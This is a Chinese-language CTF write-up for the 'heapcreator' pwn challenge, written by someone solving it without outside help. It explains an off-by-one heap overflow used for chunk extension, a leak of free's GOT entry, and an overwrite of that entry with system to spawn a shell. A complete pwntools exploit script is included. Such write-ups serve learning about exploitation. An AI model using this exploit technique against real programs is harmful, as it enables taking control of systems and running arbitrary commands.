记录第一次不看任何writeup自己写出来的pwn题
前置知识:
off by one
chunk overlapping
chunk extend
一开始先看程序打开哪些保护机制
可以改got表,并且有点要注意是没开PIE,这样就不必泄露函数地址计算基址了(如果开了,这题堆上没有存放函数指针的,我也不会泄露。。)
然后分析程序,挖漏洞
首先从建堆函数看数据结构
结构分析清楚了,就找漏洞。首先我习惯看free函数O(∩_∩)O
可惜,指针已经清零了
再看看edit函数
根据数据结构,可以看到是向data中写入len_of_data+1长度的数据,因此存在off by one漏洞!!!
这里我选择溢出overlapping覆盖size,实现fastbin extend
思路如下:
1、我的目标是system('/bin/sh'),因此我需要修改某个函数的got表指向system。那就free吧。
2、那么我就要泄露出free_got中在内存中的真实地址。
3、通过修改某个ptr的指针,自然利用show(),打印出free_got地址。
4、怎么修改呢?就用上述所说的chunk extend技术,修改size,重新分配一个大Chunk,然后对后面的Prt肆意修改。
5、泄露之后,就直接利用edit改就行了。
6、最后就是free一个含有bin/sh的堆就行了。
看具体exp吧
第一步:泄露free_got
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | create( 0x18 , 'aaaa' ) #0 create( 0x10 , 'bbbb' ) #1 create( 0x10 , 'cccc' ) #2 create( 0x10 , '/bin/sh' ) #3 edit( 0 , 'a' * 0x18 + '\x81' ) #注意这个0x18 delete( 1 ) size = '\x08' .ljust( 8 , '\x00' ) payload = 'd' * 0x40 + size + p64(elf.got[ 'free' ]) #这里的size涉及到后面修改地址时需要多长的字节 create( 0x70 ,payload) #1 show( 2 ) cn.recvuntil( 'Content : ' ) free_addr = u64(cn.recvuntil( 'Done' )[: - 5 ].ljust( 8 , '\x00' )) success( 'free_addr = ' + str ( hex (free_addr))) |
首先必须要解释下为什么是0x18,这里涉及到chunk的知识。一个chunk在被free掉之后存在bins中,其头部含有prev_size和size没错,但一旦malloc后,这个prev_size就没用了,它只用来记录前一个空闲块的大小。因此如果我malloc0x18个字节的话多出8个字节没有对齐,会将这个prev_size也当做data段的部分分配出去,而不是下一个堆了!!!
然后呢,我要覆盖掉chunk1和chunk2的话根据结构体,我需要create 0x70个字节,加上头部就是0x81了,注意in_use位!然后计算距离chunk2的size字段需要多少数据,填充就行
这是create完四个chunk后的正常的堆的分布
这是edit(0)之后的堆分布,可以看到size位已经被该为0x81了
现在再看,已经成功将chunk2的Ptr改为free_got了
此时free_got的正常地址为0x7efc15fe44f0
能够正常泄露
第二步:修改free_got
1 2 3 4 | system_addr = free_addr + lib.symbols[ 'system' ] - lib.symbols[ 'free' ] success( 'system_addr = ' + str ( hex (system_addr))) edit( 2 ,p64(system_addr)) |
首先要计算system_addr的地址,通过libc两个函数之间的相对偏移固定的原理,利用已经泄露的free_addr得到system_addr
由于此时chunk2的ptr已经修改为free_got了,编辑chunk2就相当于改free_got了
修改后再看,发现成功篡改free_got了,如无意外就能成功了。
最后一步:
1 2 | delete( 3 ) cn.interactive() |
下面贴出完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | #!/usr/bin/env python from pwn import * #cn = remote('127.0.0.1',9527) cn = process( './heapcreator' ) elf = ELF( './heapcreator' ) #context.log_level='debug' lib = ELF( 'libc.so.6' ) def create(l,value): cn.recvuntil( 'Your choice :' ) cn.sendline( '1' ) cn.recvuntil( 'Size of Heap : ' ) cn.sendline( str ( int (l))) cn.recvuntil( 'Content of heap:' ) cn.sendline(value) def edit(index,value): cn.recvuntil( 'Your choice :' ) cn.sendline( '2' ) cn.recvuntil( 'Index :' ) #if index == 2:gdb.attach(cn) cn.sendline( str (index)) cn.recvuntil( 'Content of heap : ' ) cn.sendline(value) def show(index): cn.recvuntil( 'Your choice :' ) gdb.attach(cn) cn.sendline( '3' ) cn.recvuntil( 'Index :' ) cn.sendline( str (index)) def delete(index): cn.recvuntil( 'Your choice :' ) cn.sendline( '4' ) cn.recvuntil( 'Index :' ) cn.sendline( str (index)) #leak free addr create( 0x18 , 'aaaa' ) #0 create( 0x10 , 'bbbb' ) #1 create( 0x10 , 'cccc' ) #2 create( 0x10 , '/bin/sh' ) #3 gdb.attach(cn) edit( 0 , 'a' * 0x18 + '\x81' ) gdb.attach(cn) delete( 1 ) size = '\x08' .ljust( 8 , '\x00' ) payload = 'd' * 0x40 + size + p64(elf.got[ 'free' ]) create( 0x70 ,payload) #1 show( 2 ) cn.recvuntil( 'Content : ' ) free_addr = u64(cn.recvuntil( 'Done' )[: - 5 ].ljust( 8 , '\x00' )) success( 'free_addr = ' + str ( hex (free_addr))) #trim free_got system_addr = free_addr + lib.symbols[ 'system' ] - lib.symbols[ 'free' ] success( 'system_addr = ' + str ( hex (system_addr))) #gdb.attach(cn) edit( 2 ,p64(system_addr)) #gdb.attach(cn) show( 2 ) delete( 3 ) cn.interactive() |
欢饮大家交流讨论,给我指出问题。。